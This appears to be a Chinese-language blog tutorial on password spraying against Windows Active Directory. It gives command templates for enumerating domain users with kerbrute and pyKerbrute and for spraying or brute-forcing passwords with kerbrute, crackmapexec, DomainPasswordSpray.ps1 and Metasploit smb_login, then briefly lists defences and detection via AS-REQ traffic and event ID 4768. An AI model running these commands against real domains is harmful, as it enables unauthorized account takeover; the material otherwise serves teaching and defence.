Password Spray
Password Spray

Password Spray

攻击原理

用固定密码或是少量密码爆破大量用户,该攻击方式是由于域环境在正常情况下管理员可能会为多个用户配置相同密码,当我们拿到一个域用户后可以尝试用该域用户密码去尝试登录域内其他用户

查看账户策略

攻击的关键在于域内的密码锁定策略,因为在密码喷洒攻击时我们可能搜集到多个密码,所以在破解时不能触碰密码锁定策略

net accounts 

域内用户名枚举

kerbrute进行用户枚举

kerbrute_windows_amd64.exe userenum --dc <IP> -d <Domain> <UserList>

pyKerbrute

# TCP模式
proxychains -q python2 EnumADUser.py <IP> <Domain> <UserList> tcp
# UDP模式
proxychains -q python2 EnumADUser.py <IP> <Domain> <UserList> udp

密码喷洒

部分工具会自动获取账户策略根据锁定观测窗口时间来进行间隔性密码喷洒

// 使用kerbrute进行密码喷洒攻击
kerbrute_windows_amd64.exe passwordspray --dc <dc-ip> -d <domain> <userFile> <password>
// kerbrute暴力破解密码
kerbrute_windows_amd64.exe bruteuser --dc <dc-ip> -d <domain> <passwordFile> <user>

// crackmapexec通smb服务进行域用户/密码爆破
proxychains -q crackmapexec smb <IP/Mask> -u <userFile> -p <passwordFile> --continue-on-success

// DomainPasswordSpray.ps1进行密码喷洒
Import-Module .\DomainPasswordSpray.ps1
// 自动从当前用户的域生成用户列表,并进行密码喷洒
Invoke-DomainPasswordSpray -Password Spring2017
// 指定用户列表进行密码喷洒
Invoke-DomainPasswordSpray -UserList <userFile> -Domain <domain> -PasswordList <passwordFile> -OutFile <outFile>

// MSF smb_login模块进行喷洒攻击
// 不过这里可以设定的PassList中密码的数量应该根据账户策略适当添加不易过多
use auxiliary/scanner/smb/smb_login
set rhost <Ip/Mask>
set smbdomain <Domain>
set Pass_FILE <passFile>
set USER_FILE <userFile>
run

域内密码喷洒防御

  1. 管理方面:高权限用户密码应该尽可能独立且使用强密码,尽可能做到哪怕内网主机沦陷攻击者也难以获得高权限用户,实现纵深防御。另外设置较为苛刻的账户策略,恶心攻击者。
  2. 流量检测方面:注意短时间内同一IP发出的大量AS-REQ包
  3. 系统日志方面:由于身份认证成功会被记录进日志,所以可以查看事件ID为4768的日志,判断哪些机器被攻击成功

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注